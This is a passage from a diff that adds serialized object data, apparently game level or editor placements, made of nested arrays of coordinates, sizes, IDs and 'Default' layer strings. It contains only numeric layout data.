+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2578,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 314.9327392578125,
+ 994.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2579,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.4425354003906,
+ 899.9216918945312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2580,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.4425354003906,
+ 994.9216918945312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2581,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 498.0220642089844,
+ 899.9216918945312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2582,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 498.0220642089844,
+ 994.9216918945312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2583,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 40.41181182861328,
+ 1089.418212890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2584,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 131.9913330078125,
+ 1089.418212890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2585,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 223.3532104492188,
+ 1089.418212890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2587,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 314.9327392578125,
+ 1089.418212890625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.4425354003906,
+ 1089.44921875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 498.0220642089844,
+ 1089.44921875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2590,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 40.84561920166016,
+ 1184.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 131.8456115722656,
+ 1184.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2593,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 222.8456115722656,
+ 1184.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2594,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 314.8456420898438,
+ 1184.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2595,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.8455810546875,
+ 1184.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2596,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 497.8455810546875,
+ 1184.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2597,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 40.84561920166016,
+ 1278.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2598,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 131.8456115722656,
+ 1278.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2600,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 222.8456115722656,
+ 1278.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2603,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 314.8456420898438,
+ 1278.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2661,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.8455810546875,
+ 1278.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2662,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 497.8455810546875,
+ 1278.029541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1200,
+ 900,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2664,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1200,
+ 995,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2665,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1200,
+ 1089,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2666,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1200,
+ 1184,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2667,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1200,
+ 1278,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2668,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1199.5,
+ 1121,
+ 0,
+ 92,
+ 523,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2709,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 793,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2669,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 888,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2670,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 982,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2671,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 1077,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2672,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 1171,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2673,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 1032.982666015625,
+ 0,
+ 92,
+ 560.9654541015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2674,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438.10546875,
+ 1265.745361328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2675,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1996,
+ 895,
+ 0,
+ 732,
+ 523,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2729,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499.094970703125,
+ 768.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2716,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499.094970703125,
+ 863.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2717,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2590.094970703125,
+ 768.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2718,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2590.094970703125,
+ 863.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2719,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499.094970703125,
+ 958.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2720,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2590.094970703125,
+ 958.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2721,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499.094970703125,
+ 1052.198486328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2722,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2590.094970703125,
+ 1052.198486328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2723,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2407.094970703125,
+ 768.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2726,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2407.094970703125,
+ 863.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2733,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2407.094970703125,
+ 958.1984252929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2734,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2407.094970703125,
+ 1052.198486328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2735,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2558.041015625,
+ 711.4029541015625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2752,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589.041015625,
+ 711.4029541015625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2753,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2620.041015625,
+ 711.4029541015625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2754,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2943.36962890625,
+ 882.939453125,
+ 0,
+ 388.7926025390625,
+ 94,
+ 0,
+ 0.6544984579086304,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2866,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2451.82763671875,
+ 939.525634765625,
+ 0,
+ 733.655517578125,
+ 425.9488525390625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2744,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3085,
+ 939,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2745,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3085,
+ 1034,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2746,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 939,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2747,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 1034,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2748,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3085,
+ 1128,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2749,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 1128,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2750,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3085,
+ 1223,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2751,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 1223,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2755,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3085,
+ 1317,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2756,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3177,
+ 1317,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2757,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3268.56103515625,
+ 939,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2758,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3360.56103515625,
+ 939,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2759,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3452.251953125,
+ 939,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2760,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3564.513427734375,
+ 635.8648681640625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2762,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3635.6025390625,
+ 1127.86376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2763,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3635.6025390625,
+ 1222.86376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2764,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727.6025390625,
+ 1127.86376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2765,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727.6025390625,
+ 1222.86376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2766,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3635.6025390625,
+ 1316.86376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2767,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727.6025390625,
+ 1316.86376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2768,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3268.1513671875,
+ 1223.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2769,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3360.1513671875,
+ 1223.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2770,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3268.1513671875,
+ 1317.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2771,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3360.1513671875,
+ 1317.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2772,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3451.776611328125,
+ 1223.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2773,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3543.776611328125,
+ 1223.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2774,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3451.776611328125,
+ 1317.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2775,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3543.776611328125,
+ 1317.204711914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2776,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3257.277099609375,
+ 941.2373046875,
+ 0,
+ 481,
+ 91,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2777,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3129.5,
+ 1161,
+ 0,
+ 184,
+ 403,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2778,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3452.280029296875,
+ 1269.665405273438,
